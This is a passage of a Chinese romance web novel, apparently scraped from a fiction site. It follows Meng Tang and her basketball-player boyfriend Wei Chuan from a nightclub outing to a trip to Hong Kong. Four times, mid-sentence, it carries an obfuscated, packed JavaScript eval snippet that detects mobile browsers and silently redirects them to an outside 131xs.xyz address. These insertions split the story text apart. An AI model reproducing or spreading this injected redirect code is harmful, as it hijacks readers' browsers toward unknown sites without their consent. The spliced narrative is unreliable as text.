“文心予他们呢?” “他们还要在这里待一段时间,不过不会住在这里了,这边离他们想去的地方有点远。” 孟棠点点头,下楼将这事告知了魏思沅。 魏思沅的本意是如果孟棠的朋友们还要在首都待着,这边的房子就给他们先住着。 但显然,人家也不好意思。 回了房间,孟棠拿出手机,去网上看今天的比赛反馈。 CUBAL的总决赛会登上热搜,但并非年年如此,除非特别出圈。 而今年的双加时看得人热血沸腾,一连上了好几个话题热搜—— 【CUBAL总决赛z大夺冠。】 【CUBAL双加时。】 【CUBAL魏川。】 孟棠每一个话题都点进去看了眼,基本都是比赛热图。 最精彩的一瞬间在热搜词条下被一遍又一遍上传。 孟棠勾了勾唇,想要退出,被下面一条“CUBAL总冠军魏川场边热吻女友”的话题惊呆了。 她赶紧点进去看了眼,魏川亲她的动图在里面疯狂流传。 孟棠猛地返回了页面,三十秒不到,又点了进去。 她下意识扯住衣领,咬衔在口中,以第三视角看,有种莫名的羞耻感。 孟棠一一往下翻,去看评论—— “啊啊啊,偶像剧情节啊,为什么这么甜呐!” “此男眼里只有女友,嗑死我了。” “谁懂他190的大个子站在台下竟然和她女朋友差不多高,微微伸长脖子去亲人的样子啊啊啊啊。” “我这里有张神图,是他仰头喝水的,谁要。” “看看人家谈的,再看看自己谈的,欲语泪先流。” “毕业不分我吃键盘,立帖为证。” “魏川简直偶像剧男主人设,幸福美满的家,体能充沛的他,谈的女朋友都这么漂亮。” “啊啊啊……老公,我失恋了。” 又叫老公,孟棠不自觉嘟起了嘴。 特别关注突然冒出来一条消息,她顺手点进去,是魏川发的更衣室庆祝动图。 还有香槟喝,孟棠笑了声,点了赞。 翌日上午,她和魏思沅飞回了z市,去了魏川的公寓。 魏思沅比孟棠大不了几岁,性格也活泼,两三天相处下来,两人意外的合拍。 魏思沅给孟棠看她饰演的电视剧,还给她说圈内的瓜。 孟棠听得一愣一愣的。 最让孟棠佩服的是,魏思沅的朋友真的很多,几乎每晚都能接到一堆电话叫她出去的。 但前几天她都推了,孟棠知道她是因为自己。 所以今晚刚过九点,魏思沅又接了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018245|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个电话邀约时,孟棠表示自己可以一个人在家。 魏思沅捂住电话,说:“要不你跟我一道去玩?” “呃……”孟棠有点为难,“我不合群,会打扰你们玩的兴致。” 魏思沅说:“没事的,都是我正经朋友,有我在,你怕什么?” 孟棠:“……” 难道你还有不正经的朋友吗? “喝喝酒唱唱歌的事。”魏思沅拉着她起身,“走了,陪我一起。” “我不喝酒。”孟棠赶紧说。 “我知道啊,我又没让你喝酒。”魏思沅搭上孟棠的肩膀,“你这性格也太闷了,小川看着外向,其实也就那么一两个爱好,你俩在一起真的不会闷吗?” 孟棠没觉得闷,但以后要在一起那么长时间,谁也说不准。 “走啦走啦。”魏思沅搂住孟棠,“带你出去见识见识。” 孟棠就这么被魏思沅拉去了夜店。 沉重的金属大门一推开,音浪的震动从脚底窜上全身。 各色灯光明明灭灭,勾勒出一张张沉醉迷离的脸。 香水酒味混杂蒸腾,孟棠下意识就要走,被魏思沅一把拦住:“咱们去包间。” 孟棠跟着魏思沅上了三楼,有一种和楼下不在一个世界的恍然。 嘈杂声骤减,孟棠跟着魏思沅进了一个铺着暗红色地毯的包间。 门一关上,彻底隔绝了外面的声音。 大理石茶几后,靠墙位置的黑皮沙发上,坐着四五个人,有男有女。 他们见到孟棠一愣,转头问魏思沅她是谁。 “小川女朋友。”魏思沅让她坐自己旁边,一一给孟棠介绍了人,“他们都是我从小玩到大的朋友。” “小川女朋友啊。”其中一个女生笑了声,“他都谈女朋友了?” “你没看前两天的比赛,小川赢了比赛后亲了人家。”另一个男生接话。 孟棠一僵,只能干笑。 但她也看得出来,他们确确实实都是魏思沅正儿八经的朋友。 提到魏川时的语气也很熟稔,大概率都是认识的,这个小小的发现让她放松下来。 魏思沅将一旁的案几往孟棠那边推:“鱼子酱脆筒和薯条,尝一下。” “好。”孟棠点了点头。 案几上除了这些,还有一堆孟棠叫不上名字的吃食。 孟棠每个都尝了下,真的很好吃。 一直坐魏思沅旁边的女生给她推过来一杯酒:“妹妹,尝一下,特地给你调的,荔枝马天尼。” 孟棠看了眼魏思沅,她笑了笑:“能喝,没什么度数。” 人家特地调的,孟棠也不好意思拒绝,接了过去:“谢谢。” 锥形高脚杯里的透明酒液泛着粉雾光晕,是加了玫瑰水导致的,杯缘一圈沾着可食用的金箔。 孟棠试探性地抿了一口,几乎没尝到酒精味,倒是冲了满口荔枝的冰冷香甜。 很好喝,孟棠眼眸一亮,结结实实喝了一口。 这下却不一样了,随着玫瑰水的花香涌上来,伏特加的烧灼感也黏上了喉咙。 但后调口感不浓烈,孟棠当饮料喝完了一杯。 见她喜欢,魏思沅又让朋友给她调了一杯。 也不知道过了多久,一旁的手机响了起来。 孟棠皱了皱眉,眼眸有些不清醒,她怀疑这酒有后劲。 手机连续响着,孟棠摸起来,看到来电显示,心里一喜,是魏川。 孟棠接了电话:“喂。” 背景音里传来歌唱声,魏川一懵:“你在哪儿?” 孟棠说:“夜店呢。” “……你在哪儿?”魏川简直不可置信。 孟棠“唔”了声,心虚地说了夜店的名字。 “给我等着,我现在去接你!”魏川几乎咬牙切齿说完了这句话。 第152章 今晚能一起睡吗 孟棠看着挂掉的电话愣了半分钟,魏思沅余光扫过来,问她:“谁的电话?” “魏川。”孟棠看着她,“他说要来接我。” “**!”魏思沅慌了,“他不是明天才回来的吗?” 孟棠摇摇头:“我也不知道怎么今晚回来了。” “怎么办?”魏思沅有点慌,“小川不爱来夜店,也不让我来,我还把你带过来了,他会杀了我吧?” 魏思沅朋友笑了声:“小川哪有那么恐怖,我们不是都在吗?会给你说好话的。” “哎呀,他是我弟,我还不知道他狗脾气啊。”魏思沅急道,“他发起脾气,全家人也镇不住,我爸来了也没用。” 孟棠勉强镇定了下,说:“应该不会吧?我们又没干什么。” 魏思沅顿了顿,突然问孟棠:“你现在头晕不晕?” 孟棠老实地点了点头:“有点。” 魏思沅搂住她的肩膀,说:“待会儿你就装醉,耍赖过去,我今晚就不跟你们一起回了,我去我朋友家过一晚。” 孟棠:“……” 她这是要跑啊。 难道她就有勇气面对魏川了吗? “你听我的没错。”魏思沅啧了声,“撒撒娇就过去的事,辛苦你了。” 孟棠忐忑地等着魏川,时不时就要看一眼手机。 半小时后,魏川白T白鞋牛仔裤进了夜店,这一身青春男大的打扮瞬间吸引了无数目光。 优越的身材条件,导致他没走几步就被人拦住了去路。 “帅哥,喝一杯吗?” 魏川皱着眉抬手,冷着脸说:“我找人,让开。” 女生“嘁”了声,讪讪让开了道路。 这家夜店,魏思沅常来,魏川也不是第一次来找她,熟门熟路上了楼,径自推开了VIP包厢的门。 孟棠靠在沙发背上,眼睛偷偷睁开一条缝。 里面昏暗,魏川没察觉她的小动作,只知道孟棠两颊酡红,一副喝醉的模样。 “魏思沅!”魏川脸色冷下来,快速走过去,将孟棠揽进怀中,随后抬眸质问,“你给她喝酒了?” “呃……”魏思沅结巴了下,拍案而起,“这能怪谁啊?还不是怪你,整天没时间陪着她。” “她跟我诉苦说想你,我就带她出来透透气呗,这里又没别人,都是你认识的哥哥姐姐。” 魏川一愣:“她跟你说她想我了?” 魏思沅点了点头:“是啊。” 孟棠:“……” 求求你别说了,要是被拆穿,倒霉的只会是她。 或许刚才,她不应该答应魏思沅的馊主意。 魏川垂眸,抬手捧住孟棠的脸,表情显然是心疼了。 魏思沅在没露馅之前赶紧催他:“你带孟棠回去吧,是不是明天飞香港?” “后天。”魏川以为孟棠醉到不省人事,打横将人抱了起来。 他跟魏思沅的朋友们礼貌告别,抱着孟棠出了夜店。 早在比赛之前,他的车就开回了家。 满心欢喜想去康铂给她个惊喜,哪知她给了他一个惊吓。 当即他就让公寓派了车送他来夜店。 司机开了后门,魏川小心翼翼将孟棠抱上车,让她靠着自己。 孟棠靠在魏川的身上,突然觉得鼻子很痒。 忍了半天,她装作睡着无意识蹭了下鼻尖。 魏川低头看了眼,发现她眼皮下有滚动的痕迹,睫毛也很轻地颤了几颤。 脑子里响起魏思沅在夜店掷地有声的质问,魏川一下气笑了。 他也傻,怎么能被唬住呢? 孟棠哪里是情绪外放的人,怎么可能会在魏思沅面前说想他。 即便是想他,也是默默地想,绝不会宣之于口。 所以她现在在这儿装睡,大概率是魏思沅害怕自己迁怒她,从而给孟棠出的馊主意。 魏川玩味地盯着孟棠,也没拆穿。 很快,进了康铂的地下车库。 魏川再次将孟棠抱起来进了电梯。 见孟棠一直闭着眼睛,魏川坏笑了声,故作松手,吓得孟棠睁开眼睛搂住了他脖颈。 四目相对,馊主意曝光,孟棠没招了,朝他尴尬地笑了笑。 “醒了?”魏川笑看着孟棠,没有拆穿。 “嗯。”孟棠装迷糊了下,按住他的肩膀,说:“放我下来。” “不放。”魏川挑了下眉,“谁让你去夜店的?” 孟棠抿了抿唇:“也没干什么,不都是你认识的人吗?” 魏川低头,几乎抵上她的鼻尖,小声问:“喝的什么酒?” 全名的话,孟棠还真忘了,她结巴说了句:“荔枝酒。” “是吗?”魏川眯了下眼,“我怎么闻到了伏特加的味道。” 孟棠说:“好像弄这个调了。” 电梯到了,魏川将人抱进玄关,将她放在柜子上。 孟棠撑着要下去,魏川大手一抬,撑在了她双腿两侧,堵住了她的去路。 他的表情和平日里不太一样。 “魏思沅说你想我了?”魏川微微歪着头,目光紧锁,“真的吗?” 识时务者为俊杰,孟棠点了点头。 “怎么想的?”魏川问,“说来听听,都要去喝酒解闷了?” 孟棠清了清嗓子:“就这么想呗,还能怎么想?” “当时怎么跟她说的?”魏川唇边扯着点坏笑,“一字不漏地告诉我。” “……” 孟棠算是发现了,这姐弟俩就抓她一个人整。 “没说什么,就说了一句想你。”孟棠破罐子破摔,坚决不出卖魏思沅。 “我也想你。”魏川目光下移,落在她饱满的唇上。 孟棠抿了下唇,下意识抬起下巴,魏川接收到信号,低头在她唇上亲了下,一触即离。 孟棠惊讶地看着他,每次亲都要撬开她的嘴巴,这次改性了? 魏川半垂着眼,睫毛投下一小片阴影,唇边勾起的笑近乎宠溺。 看出她的疑惑,魏川抬手拨了下她的下巴:“你装醉一点也不像。” 孟棠蓦地睁大眼睛:“你知道?” 魏川失笑:“你以为你演技很好吗?在车上的时候,眼睛就在乱动。” “……所以你在电梯里是故意的?”孟棠抬手,对着他脸颊两边扯了下。 魏川抓住她的手,一副欠模样地承认了:“是啊。” 孟棠反倒松了一口气,推开他跳下柜子,说:“那就扯平了,我去洗澡了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020125|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏川跟在她身后,故意道:“今晚能一起睡吗?” 孟棠差点左脚绊右脚,她转过身,问:“你说什么?” “我说……”魏川笑了声,“今晚能一起睡吗?” 孟棠哼了声,抬手阻止他的靠近:“不可以。” 魏川耸了耸肩,没有坚持,本来就是抖她的。 两人各自回了房间,洗完澡后时间也不早了,孟棠打算关灯睡觉。 就在这时,房门被敲响。 除了魏川也没旁人,孟棠将被子盖上,靠在床头,说了句:“进来吧。” 魏川显然已经洗过澡了,换了身睡衣。 孟棠看向他:“有事啊?” 魏川在她床边坐下,说:“睡不着。” “这三天干什么去了?”孟棠笑了声,顺着他的话题往下问。 魏川说:“第二天飞回z市,下午开了队内总结,晚上参加了一场庆功宴;然后就是各种媒体采访轰炸,归还设备之类的琐事,今天又开会,谈了一下8月开始的训练计划。” “不放暑假啊?”孟棠抓到了他话中的重点。 魏川摇摇头:“下个月5号恢复训练,到25号结束。” 孟棠摸了摸他的脸:“那还挺可怜,几乎没有假期。” 魏川抓住她的手,泄露真实目的:“那你暑假就在这儿陪我呗。” “不行。”孟棠无奈道,“因为观音像的修复,我过年时候没出件给爷爷,暑假要补,在这儿我怎么做?” 魏川瞬间垂了头丧了气:“我可怎么活啊。” “别装。”孟棠失笑,“你比赛那么长时间没见我,不也过来了。” 魏川猛地凑上前,堵了她的唇舌。 没亲多久,他就退开了。 孟棠瞪了他一眼。 “好了,我去睡觉了。”魏川抓住她的手捏了下,“晚安,你也早点睡。” “晚安。”孟棠点了点头。 等魏川走后,孟棠很快进入了梦乡。 翌日一早,两人醒得都有些迟。 吃过早饭,孟棠整理了行李箱,魏川坐在一旁的地毯上拿着手机打游戏。 几乎是孟棠到哪儿,他跟到哪儿。 整理完,孟棠去了客厅,魏川扯开她缩在沙发上的腿,自己枕了上去。 孟棠给他嘴里塞了一颗草莓,然后盯着他玩游戏。 她没见过这样的魏川,和普通的男生没什么两样。 也不知道打了多久,页面显示他赢了。 魏川一个激动扔掉手机,爬起来将孟棠按在沙发背上亲了一口:“赢了赢了。” 孟棠拍了下他的肩膀:“你这一赢就亲人的毛病什么时候能改?” 魏川故意用鼻尖蹭了下她的颈窝,赖在那儿不起了:“不改了。” 孟棠垂眸:“你行李收拾了没有?” 魏川起身,拉起她的手腕:“跟我一起去收拾。” 孟棠只好跟他去了客卧的衣帽间。 他的衣服多到离谱,估计一整年也穿不完。 孟棠说:“一共就去五天,带两三套衣服就行了,你自己选去吧。” 魏川随意选了三套扔进了行李箱。 翌日下午两点四十,孟棠和魏川落地香港国际机场。 第153章 纯睡觉,保证不做什么 魏川牵着孟棠的手,从VVIP的私人通道出了机场。 通道口停着一辆哑光黑的幻影,是酒店派来的车。 出了冷气充足的航站楼,热浪裹挟着湿热的海风扑面而来。 司机给两人开了后车门,车门一关,像进了隔音舱。 魏川将扶手上已经准备好的冰镇椰青给孟棠插好吸管推过去。 孟棠低头含住吸管,冰凉清洌的甜瞬间充满口腔。 没有工业糖浆的黏腻,只有清新如甘蔗的甜,还带着点青草的涩。 孟棠用吸管搅弄冰块,转头对魏川说:“好喝。” 魏川拿起自己的冰镇椰青,慢条斯理地喝光了。 大概四十分钟,孟棠的视角里出现了酒店的罗马柱拱廊。 魏川订的房型是维港全海景的套房,穿梭金碧辉煌的挑高大堂,两人进了电梯直达26层。 孟棠将行李箱推到床尾,控制不住地来到了全景落地窗前。 今天天气不算好,孟棠回眸跟魏川说:“看着也好平常。” 魏川走过去,搂住她的腰,几乎贴着脸说:“夜景好看。” 孟棠:“那等夜景,你的房间可以看到吗?” 魏川摇了摇头:“你这是主卧,客卧很小,偏城市夜景。” “床也小吗?”孟棠怕他190的大个子伸不开腿,也怕他看不到维港的夜景,“要不我跟你换换。” 魏川歪过头,蹭了下她的脸:“你第一次来,当然以你为主,我不要紧的。” 孟棠微微发了下呆,她也不好意思一个人独占美景啊。 魏川轻笑一声,在她耳边露出真实意图:“要不晚上我跟你一起睡?” 孟棠倏地转过脸。 呆呆的,魏川在她唇上亲了下,说:“纯睡觉,保证不做什么。” 孟棠莫名其妙后瞥,主卧的床很大,她和魏川即便睡在一起,中间还能躺两人的距离。 见她神态松动,魏川抱着她的腰晃了晃:“行不行?” 他确实没想对孟棠怎么样,只是好不容易出来一趟,不想和她分开在两个房间。 即便是各自玩手机,只要待在一起,他就乐意得冒泡。 孟棠下意识舔了下唇,干巴巴道:“随你。” “真的答应了?”这下轮到魏川傻眼了,他还以为孟棠会坚定地拒绝。 孟棠撞了下他的头:“合你心意了?” 魏川凑过去,刚要亲,房门被叩响了。 他不爽地回眸,叹了声气,走过去开了门。 管家推着三层餐车等在门口,说为他们准备了下午茶。 魏川让人进来,拉着孟棠去了观景榻。 孟棠的目光落在骨瓷杯碟上,魏川见她目光动也不动,将顶层的百香果马卡龙推到她面前:“看什么呢?” 孟棠指了指骨瓷杯碟:“青花缠枝纹。” 她自小接触木雕这门民间工艺,对传统文化的熟知要高于很多人。 有时候看见了便觉得亲切,脱口而出也不是显摆,是自然而然。 魏川吃掉一个马克龙,也不扫兴:“有什么寓意?” 孟棠笑了笑:“纹样结构连绵不断,是生生不息的寓意。” 魏川点了点头:“这四个字,极具生命力。” “你说得不错。”孟棠咬了口原味司康,“生生不息是一条隐秘的脉络,贯穿在中国传统文化的哲思里。” 生命延续、文化传承、艺术创作……都可以用这四个字概括。 孟棠朝魏川笑了笑,她不轻易和人说这些,因为很多人没有耐心,也不懂。 话还没开头,别人就说装什么,初中的时候她就吃过这样的亏。 语文老师讲错了方胜纹和锁子纹,她指出来,被狠狠批评了一顿。 即便如此,还是倔强地说老师错了,最后是孟遇春去学校给她撑的腰。 想到这里,她表情略有落寞。 魏川用餐巾擦了下嘴,走过去,在孟棠身边坐下:“想什么呢?” 孟棠摇摇头,又给他嘴里塞了个马卡龙,说:“没什么,就是感谢你跟我说这些。” 魏川这个人,喜欢谁全包容,孟棠早就看出来了。 “好了,跟我说说。”魏川温柔地哄着她,“别什么事都憋在心里。” 孟棠说:“我其实不会把事憋在心里,不说是我不在意而已。” “那你在意什么?”魏川给她的茶杯里注入大吉岭春摘,“尝一下。” 孟棠低头浅尝一口,说:“我在意你。” 说这话时,她看着琥珀色茶汤,红了耳尖。 魏川盯着她精致的侧脸线条,笑了声:“你快把我哄成胚胎了。” 孟棠失笑:“这什么形容。” 魏川叹了声气,搂住孟棠安静了许久,道:“我希望你开心的不开心的都能跟我说。” “会的。”孟棠扭过脸,“我不开心的时候很少。” 因为人比较淡,很多无聊的事情和人,她根本不在意。 魏川绕过她的后颈,捏了下她的耳垂,说:“今晚咱就不出去了,吃过饭在屋里看看电影,早点睡,明天带你出去玩。” 孟棠放下茶杯,问他:“你还没说我们去哪儿玩?” 魏川笑道:“明天你就知道了。” 孟棠眼珠一转,问:“你不会要带我去奢侈品店吧?” “这个也要去,不过不是明天。”魏川说,“临走前一天去逛逛,到时候买个情侣的东西戴着。” 孟棠将他的手拉过去,搁在一块比了比:“还情侣饰品,你打篮球,我刻木雕,很多东西戴着根本不方便。” “那就再买点衣服呗。”魏川绕过她的脖颈,牵住她的手指头把玩,“这个总能穿到吧?” 孟棠点了点头:“这个可以。” 不让买又得闹,孟棠一口就答应了。 魏川哼了声:“这还差不多。” “起开。”孟棠拍了下他的手,“我去整理一下行李箱,把东西都拿出来,手机快没电了。” 魏川眼珠一转:“我也去拿行李箱,跟你一起整理,答应了我晚上一起睡,别反悔啊。” “等一下。”孟棠拉住他的手腕,“你行李箱就别拿过来了,晚上你还是去次卧那边洗澡。” “行。”魏川说,“我也去整理一下行李箱。” “嗯,去吧。” 孟棠将箱子里的衣服全都挂了起来,一套一套分好,省得第二天手忙脚乱。 手机刚充上电,寝室群里,谢泠音发了一张图片过来。 孟棠点开一看,建筑物白墙青瓦,飞檐翘角,显然到了采风的第一站。 杨可很快接上,发了两个侄子和自己披头散发的图片。 孟棠一下被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020126|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逗笑,怎么那么可怜? 随后,杨可又道:【看在钱的份上,劳资忍了。】 石岚:【哎呀,赚钱真的比吃屎还难。】 杨可:【滚蛋吧你。】 石岚发了自己穿着老太太花裤,大喇喇坐在竹椅上啃西瓜的图片,恣意无穷。 她在群里艾特了孟棠:【你也来张照片,给我们看看HK。】 孟棠:【没什么好看的,天气不太好,海面灰扑扑的。】 谢泠音大胆开麦:【可能不方便拍。】 孟棠当即拔了手机充电线,对着室内三百六十度拍了个视频发送了过去。 谢泠音发了个大笑的表情包。 孟棠重新将手机充上电,都懒得搭理她们了。 魏川在这时敲了门:“孟棠,去餐厅了。” 孟棠在群里回:【吃饭去了。】 手机在充电,她就懒得带了。 孟棠跟魏川一起上了28层的夜景餐厅,天暗下去之后,两边的摩天楼化作流动的灯光掩映在海面。 魏川拿出手机,说:“咱俩自拍一个。” 孟棠凑过去,一只手捧住自己的脸,歪着头看向镜头。 魏川连着拍了好几张,一顿晚饭吃了两个多小时,直至孟棠坐够了,两人才回了房间。 “你先洗澡去吧。”魏川没跟她进房间,“我也去洗澡。” 孟棠莫名升起一抹紧张感,她故作镇定地点了点头,回了卧室。 魏川趴在客卧的床上,从相册里翻出孟棠的照片。 他不会修图,去网上搜索了修图教程,搞了半天,也就加了个滤镜。 孟棠洗完澡,将头发擦了半干。 她怕魏川半路过来,赶紧换了睡衣,又在肩上垫了一条干毛巾。 刚拿了吹风机,房门被敲响。 孟棠只好去开了门,魏川穿着睡衣湿着头发,朝她笑了笑:“找个吹头发的搭子。” 孟棠稍稍让开:“进来吧。” 魏川推她进盥洗室:“先帮你吹干。” “还是先给你吹吧。”孟棠说,“你头发短,吹完自己先去玩。” 魏川没说话,拉住她的胳膊,将她整个人转过来,掐住她的腰,将她抱上了盥洗台。 孟棠不解地看着他:“干什么?” 魏川将吹风机给她:“先帮我吹。” 孟棠只好打开吹风机,对着他已经半干的短发吹了起来。 温热的风一吹,露了他光洁饱满的额。 从上到下,无一处不完美,孟棠忽然抬起手,顺着他山根划了下。 魏川一把捉住她的手,张嘴咬了下她的指尖。 孟棠甩开他的手,心虚道:“别闹,吹头发呢。” 魏川气笑了:“不你先闹我的?” 孟棠摸了摸他的短发,关了吹风机:“干了,你先出去吧。” 魏川将她抱下来,扯着她的手臂将她背对着自己站好,说:“给你吹,别乱动啊。” 孟棠看着镜子里的人,笑了笑,没再动。 他比自己高了一大截,孟棠从镜子里看着认真吹头发的人。 有点笨拙,但意外的没有扯痛她的头发。 二十来分钟,头发干得差不多了,魏川收了吹风机,低头埋到她脖颈亲了口。 孟棠觉得痒,缩着往一旁躲。 魏川笑了声,扯着她手腕说:“走,睡觉去。” 第154章 我挺喜欢他的 孟棠听到“睡觉”两个字一激灵,走路都变得僵硬了许多。 她往观景榻那边走过去,笑得干巴巴的:“我再看会儿夜景。” 魏川跟过去坐下,指了指落地窗外:“看见邮轮了吗?” 孟棠点点头:“看到了。” 魏川说:“咱们明晚去,我去年来港参加明星慈善篮球赛,认识了几个朋友,邀请我们去参加一个小型派对。” 孟棠转过头:“你怎么没跟我说?” 魏川顺了顺她的头发:“就是几个富家公子,其中一个还追过魏思沅,一直都没死心,就是他约的我,肯定要向我打探魏思沅的消息,不过我也没直接答应,看你吧,你想去就去。” 既然来一趟,自然去邮轮上体验一把才好。 而且魏川说了是朋友,朋友邀约,拒了让人家没面子。 “那就去吧。”孟棠说,“反正是跟你一起。” 魏川拍了拍她的头:“很晚了,明天还要出去玩,先睡觉吧。” 嘴上是这么说,其实他心里也有点微妙的紧张。 孟棠轻轻应了声,当看到魏川遥控关上了窗帘,她忽然放轻了呼吸。 隔绝的空间里,一片沉默。 魏川拉开被角上了床,孟棠倏地转过身拿了手机。 她胡乱一通点进了微信朋友圈,习惯性往下翻了翻,忽而一顿。 魏川在一个小时前发了一条动态,一共四张照片,让强迫症看了得难受死。 第一张照片是去年国庆期间,在水月寺的观瀑亭拍的她背面;第二张是他生日的时候从背后拍的她仰头看雪的侧脸;第三张是谢泠音和许鹤清恋情曝光的当晚,两人去餐厅时候拍的她垂眸的样子;第四章就是今天晚上在餐厅拍的合照。 文案简简单单三个字:女朋友。 夸张的是,已经有一百多个赞了,评论看都看不过来。 孟棠有瞬间的怔愣,他竟然在水月寺的时候就拍了她的照片。 孟棠扭过脸,问魏川:“你微信有多少个好友?” 魏川说:“几百个吧,怎么了?” 孟棠摇了摇头:“看到你发的动态了,觉得你评论区活人感很强。” 魏川笑了声:“还看手机吗?明天还出不出去了?” 孟棠看了眼时间,说:“我再玩一会儿。” 魏川长臂一伸,拿走了她手机,孟棠赶紧去抢:“还给我,你困你就先睡呗。” 魏川将她的手机放到自己的床头柜上,一翻身将孟棠压在了身下。 孟棠双臂挡在锁骨前,眼底慌了一瞬:“你要干嘛?” 魏川的手肘撑在她两侧,问:“睡不睡觉?” 孟棠忙不迭点了头:“睡。” 魏川哼了声,翻过身平躺。 孟棠赶紧闭上眼睛,说:“我真的睡了,你也睡吧。” 魏川“嗯”了声,转过头一直盯着她看。 好几次伸出手想要去搂着她睡,又怕吓着人,只能放弃了。 手缩到一半,手腕忽然被拉住。 魏川一愣,垂头看了眼孟棠,孟棠闭着眼睛笑了下,轻轻往他怀里靠去,一副无奈的口吻:“可以睡了吗?” 魏川一激动,将孟棠抱了满怀,长腿曲起搁她腿上,紧紧锁着人。 “别抱这么紧。”孟棠推了推他,“你自己多重,心里没数吗?” 魏川傻笑了声,低头在她发顶亲了下:“睡觉睡觉。” “嗯。”孟棠带着笑意应了声。 屋内再次陷入安静,两个作息规律的人没一会儿相拥而眠。 翌日八点,孟棠被闹钟叫醒。 一转头身边没人,迷糊地坐了起来。 “魏川?” 叫了两声没人应,孟棠踩着拖鞋下了床。 魏川推门进来,说:“我刚洗漱去了,你也洗漱一下换衣服,吃完饭咱们出去。” 孟棠扫了一眼穿戴整齐的他,转身进了盥洗室。 九点左右,两人出了门。 第一站去了一条很有艺术氛围的街,孟棠没想到魏川带她来这儿,惊喜地进了一家很有格调的书店。 点了两杯拿铁,两人坐了一上午。 魏川的手闲不下来,拿着手机一直对着孟棠拍,孟棠翻着书,没理他。 上午的时间太过短暂,吃了午饭后,魏川将孟棠带去了当代美术馆。 这个馆会定期举办一些不同主题的展览,从装置到雕塑,再到绘画和录像等,艺术形式比较多样。 近期正好有个概念艺术家的大型回顾展。 孟棠确实很感兴趣,但也不忘问魏川:“你也进去吗?如果不感兴趣,可以去外面逛一逛等我。” 魏川给她展示了一下票:“两张呐,来都来了,本来就是陪你的。” 他因为训练,本就没时间陪她一起做很多的事。 下个月5号又要开始训练,两人只能维系异地恋的状态。 所以这样的陪伴机会,魏川愿意将自己放在她身后。 孟棠挽住他的胳膊,说:“那走吧。” “好。” 展品有很多,魏川对于艺术这种东西完全是一窍不通。 他就跟在孟棠身后,帮她和每一份喜欢的作品拍照。 孟棠最喜欢《遇见》那副爱情主题的作品,并不是说她现在处于爱情中而喜欢,而是作者表达的观点很有意思。 魏川看出她的喜欢,凑到她身边问:“你很喜欢这个作品?” 孟棠指了指展品的字:“爱情是偶然的,但是精确,作者讨厌美化偶像剧形式命中注定的相遇,而是强调时空坐标的巧合,你不觉得有意思?” 魏川点点头:“是有意思,用经纬度、气味、时间去解构爱情,感觉像科学记录的数据。 孟棠偏过头看着魏川:“作者还说爱情必须存在证明,就像你给我的黄连木叶片和小鱼筷托。” 魏川举一反三:“我也有书签、大黄和木蝉,我们彼此证明爱情存在,你和我的爱情,不是别人的。” 孟棠哭笑不得:“当然是你和我的。” 已经逛了两个小时,魏川搂住她问:“要不要休息一会儿,去吃点东西?” 这个展览也看得差不多了,孟棠应了声:“是有点饿,那我们出去?” 两人去了古董街的茶寮,点了抹茶戚风和桂花乌龙奶冻。 正惬意时,魏川的手机响了起来。 他应了几句挂断了,孟棠抬头问她:“谁给你打的电话?” “郑霆晖。”魏川给她解释,“追魏思沅的人,说把我俩上游艇的衣服和鞋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025926|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送到了酒店。” 还得准备衣服,孟棠瞥了眼自己:“连衣裙不行?” 魏川笑道:“就是稍微精致一点而已,走吧,时间也差不多了,你恐怕还得化个妆。” 孟棠跟着起身,和魏川一起回了酒店。 因为要换衣服,魏川没跟进主卧,而他的衣服也在次卧。 孟棠的衣服礼盒就在床上,她打开将它展开,是一条淡紫色的挂脖纱裙,看着梦幻又灵动。 还好,画个日常淡妆就可以。 其实孟棠不怎么会化妆,只会将脸弄得稍微白一点,抹个口红而已,可谁让人家五官立体,皮肤白皙呢。 有些人往那儿一站,气质胜过外貌,轻轻瞥你一眼,你喉咙那块就堵塞了,不知道说什么了。 孟棠换了衣服,长发正好掩盖住露出的肩背。 她最后对着镜子照了下,开了卧室的门,却被堵在门口的魏川吓了一跳。 可随之而来的是眸底的惊艳。 